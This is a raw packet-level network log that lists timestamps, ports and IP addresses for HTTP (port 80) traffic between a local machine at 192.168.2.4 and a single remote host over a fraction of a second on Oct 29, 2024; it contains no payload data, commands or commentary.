Oct 29, 2024 04:52:32.167041063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.167061090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.167079926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.167269945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.167285919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.167360067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.167360067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.167370081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.167387009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.167402029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.167418003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.167422056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.167433977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.167452097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.167463064 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.167464018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.167467117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.167484045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.167488098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.167500973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.167506933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.167535067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.167553902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.168143988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.168159962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.168174982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.168191910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.168204069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.168210030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.168226957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.168234110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.168234110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.168242931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.168253899 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.168260098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.168277025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.168281078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.168281078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.168292999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.168301105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.168309927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.168325901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.168333054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.168333054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.168342113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.168351889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.168371916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.168373108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169095993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169111967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169126987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169142008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169154882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169156075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169157982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169173956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169178009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169190884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169198990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169198990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169208050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169223070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169230938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169230938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169239044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169250965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169254065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169270039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169270992 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169270992 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169301033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169301033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169794083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169810057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169825077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169840097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169843912 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169857025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169867039 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169872999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169891119 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169891119 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169914961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169920921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169931889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169939995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169946909 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169956923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169964075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169975996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.169981003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.169996977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.170003891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.170003891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.170022964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.170041084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.170722008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.170737982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.170753002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.170769930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.170780897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.170785904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.170803070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.170819998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.170825005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.170825005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.170845032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.170874119 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.207307100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.207339048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.207355022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.207411051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.207446098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.207452059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.210114002 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.281467915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.281544924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.281560898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.281625986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.281677008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.281681061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.281697989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.281744003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.281784058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.281797886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.281812906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.281840086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.281867981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.281945944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.281960964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.281977892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.281996965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.281996965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.282030106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.282085896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.282109976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.282125950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.282154083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.282186031 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.282337904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.282354116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.282370090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.282385111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.282399893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.282399893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.282418966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.282418966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.282437086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.282442093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.282494068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.282494068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.282694101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.282708883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.282723904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.282746077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.282746077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.282799006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.282830000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.282845020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.282882929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.282882929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.282951117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.282968998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.282984018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.283000946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.283013105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.283018112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.283030987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.283035040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.283051968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.283063889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.283066034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.283085108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.283102036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.283612967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.283628941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.283643961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.283658981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.283674955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.283677101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.283689976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.283714056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.283714056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.283750057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.283919096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.283935070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.283967018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.283987999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.283993006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284009933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284025908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284041882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284054995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.284058094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284075975 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.284081936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284104109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.284123898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.284548998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284564018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284579039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284594059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284603119 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.284603119 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.284610033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284620047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284626007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.284627914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284637928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284652948 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284667969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284683943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284687042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.284699917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.284710884 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.284732103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.284750938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.285370111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.285384893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.285399914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.285414934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.285430908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.285444021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.285446882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.285464048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.285471916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.285471916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.285480022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.285495996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.285495996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.285511971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.285522938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.285528898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.285546064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.285553932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.285563946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.285573006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.285595894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.285613060 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.286180973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.286196947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.286211967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.286226988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.286241055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.286243916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.286243916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.286257029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.286266088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.286273956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.286283970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.286289930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.286307096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.286307096 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.286324024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.286330938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.286341906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.286353111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.286371946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.286412001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.286964893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.286979914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.286993980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287009001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287024021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287028074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287039995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287046909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287055016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287062883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287071943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287087917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287102938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287103891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287103891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287122965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287132025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287132025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287137985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287153959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287169933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287184954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287184954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287184954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287213087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287213087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287774086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287790060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287805080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287820101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287833929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287837982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287851095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287859917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287867069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287882090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287885904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287899971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.287900925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287926912 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287928104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.287945986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.324198008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.324239969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.324255943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.324315071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.324316978 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.324328899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.324356079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.324389935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.398603916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.398684978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.398699045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.398722887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.398782015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.398804903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.398808002 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.398843050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.398859978 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.398886919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.398933887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.399018049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399032116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399045944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399061918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399075031 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.399108887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.399110079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.399261951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399277925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399292946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399307013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399328947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399344921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399349928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.399350882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.399350882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.399359941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399378061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.399378061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.399404049 CET	49760	80	192.168.2.4	185.215.113.206
